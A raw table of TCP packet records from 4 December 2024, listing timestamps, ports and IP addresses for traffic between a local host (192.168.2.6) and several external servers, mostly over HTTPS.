Dec 4, 2024 16:15:06.793910980 CET	49708	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:06.794691086 CET	49708	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:06.794709921 CET	443	49708	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:06.794719934 CET	49708	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:07.293030024 CET	443	49702	173.222.162.64	192.168.2.6
Dec 4, 2024 16:15:07.293117046 CET	49702	443	192.168.2.6	173.222.162.64
Dec 4, 2024 16:15:08.130073071 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:08.130135059 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:08.130213976 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:08.130532026 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:08.130548000 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:09.452630043 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:09.452677965 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:09.452805996 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:09.453111887 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:09.453125954 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:10.387160063 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:10.387217045 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:10.387389898 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:10.389116049 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:10.389151096 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:11.200102091 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:11.200396061 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:11.200437069 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:11.201823950 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:11.201885939 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:11.203021049 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:11.203095913 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:11.257719040 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:11.257741928 CET	443	49719	142.250.181.36	192.168.2.6
Dec 4, 2024 16:15:11.304584980 CET	49719	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:15:11.779571056 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:11.779654980 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:11.782335997 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:11.782349110 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:11.782646894 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:11.826517105 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:11.871332884 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:11.916846037 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:11.918056965 CET	49722	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.029817104 CET	49723	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.036807060 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:12.036896944 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.037281990 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.037817001 CET	80	49722	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:12.037890911 CET	49722	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.149648905 CET	80	49723	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:12.149772882 CET	49723	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:12.156991005 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:12.292251110 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:12.292327881 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:12.292402029 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.292753935 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.292792082 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:12.292809963 CET	49720	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.292817116 CET	443	49720	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:12.484777927 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.484841108 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:12.484986067 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.485318899 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:12.485332012 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:13.305350065 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:13.354206085 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:13.453275919 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:13.453329086 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:13.453387976 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:13.453610897 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:13.453629971 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:13.874336958 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:13.874449968 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:13.875694036 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:13.875708103 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:13.875963926 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:13.877036095 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:13.923341990 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:14.402719975 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:14.402806997 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:14.403187037 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:14.403577089 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:14.403598070 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:14.403609037 CET	49724	443	192.168.2.6	23.218.208.109
Dec 4, 2024 16:15:14.403614998 CET	443	49724	23.218.208.109	192.168.2.6
Dec 4, 2024 16:15:14.843000889 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:14.843394995 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:14.843420029 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:14.844542027 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:14.844605923 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:14.845880032 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:14.845942974 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:14.846168995 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:14.846174955 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:14.899352074 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.529076099 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.529134989 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.529144049 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.529243946 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.529278040 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.529323101 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.541656017 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:15.541704893 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:15.541784048 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:15.549421072 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:15.549436092 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:15.597136974 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:15.597184896 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:15.597275019 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:15.598248959 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:15.598264933 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:15.735452890 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.735471010 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.735496998 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.735527039 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.735542059 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.735558033 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.735611916 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.792943001 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.792977095 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.793026924 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.793045998 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.793070078 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.793091059 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.927434921 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.927467108 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.927514076 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.927542925 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.927558899 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.927587032 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.953903913 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.953926086 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.953986883 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.954000950 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.954045057 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.979933023 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.979952097 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.980010986 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:15.980030060 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:15.980079889 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.038225889 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.038252115 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.038300991 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.038319111 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.038376093 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.038376093 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.113775969 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.113810062 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.113854885 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.113897085 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.113939047 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.113954067 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.129075050 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.129097939 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.129160881 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.129173040 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.129213095 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.146392107 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.146434069 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.146514893 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.146524906 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.146565914 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.162853956 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.162873030 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.162949085 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.162966967 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.162998915 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.163008928 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.173670053 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.173695087 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.173794985 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.173826933 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.173867941 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.193993092 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.194051027 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.194102049 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.194116116 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.194160938 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.194166899 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.194205999 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:16.194247007 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.199506044 CET	49725	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:16.199523926 CET	443	49725	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:17.315871000 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:17.315960884 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:17.318130016 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:17.318140984 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:17.318360090 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:17.369514942 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:17.389218092 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:17.420412064 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.420479059 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:17.422277927 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:17.422286987 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.422521114 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.431391001 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:17.435321093 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:17.479341984 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.824968100 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:17.825061083 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:17.827284098 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:17.827299118 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:17.827614069 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:17.829762936 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:17.829869032 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:17.829878092 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:17.830171108 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:17.871331930 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:17.970091105 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.970119953 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.970134974 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.970210075 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:17.970242977 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:17.970288992 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.028362036 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028394938 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028402090 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028410912 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028428078 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028464079 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.028498888 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.028562069 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.028749943 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.049391985 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.049477100 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.049479008 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.049531937 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.049722910 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.049741030 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.049768925 CET	49726	443	192.168.2.6	4.245.163.56
Dec 4, 2024 16:15:18.049774885 CET	443	49726	4.245.163.56	192.168.2.6
Dec 4, 2024 16:15:18.155431986 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.155467033 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.155534983 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.155558109 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.155574083 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.155606031 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.199949980 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.199976921 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.200020075 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.200031996 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.200067043 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.200087070 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.315963030 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.315988064 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.316066980 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.316099882 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.316116095 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.316135883 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.345580101 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.345601082 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.345657110 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.345690012 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.345711946 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.345736027 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.374409914 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:18.374563932 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:18.374617100 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:18.374943972 CET	49727	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:18.374963045 CET	443	49727	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:18.376254082 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.376274109 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.376322031 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.376338959 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.376375914 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.376394987 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.399331093 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.399349928 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.399394035 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.399413109 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.399451017 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.399467945 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.503247023 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.503273964 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.503336906 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.503359079 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.503407001 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.519727945 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.519752979 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.519808054 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.519828081 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.519869089 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.533416986 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.533438921 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.533499956 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.533514977 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.533550978 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.547822952 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.547848940 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.547889948 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.547909021 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.547929049 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.547955990 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.561726093 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.561753035 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.561795950 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.561820030 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.561835051 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.561858892 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.575229883 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.575257063 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.575309038 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.575335979 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.575371027 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.575493097 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.580574036 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.580646038 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.580661058 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.580683947 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.580738068 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.580830097 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.580843925 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.580879927 CET	49718	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.580885887 CET	443	49718	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.648955107 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.649002075 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.649079084 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.650954008 CET	49730	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.650969028 CET	443	49730	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.652559042 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.652615070 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.652781010 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.652977943 CET	49731	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.652992964 CET	443	49731	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.655740976 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.655777931 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.655922890 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.657387972 CET	49732	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.657398939 CET	443	49732	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.658421040 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658464909 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.658549070 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658632994 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658643961 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.658709049 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658734083 CET	49733	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658746958 CET	443	49733	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:18.658932924 CET	49734	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:18.658940077 CET	443	49734	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:19.983608961 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:19.983669996 CET	443	49736	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:19.983813047 CET	49736	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:19.984484911 CET	49736	443	192.168.2.6	20.198.119.84
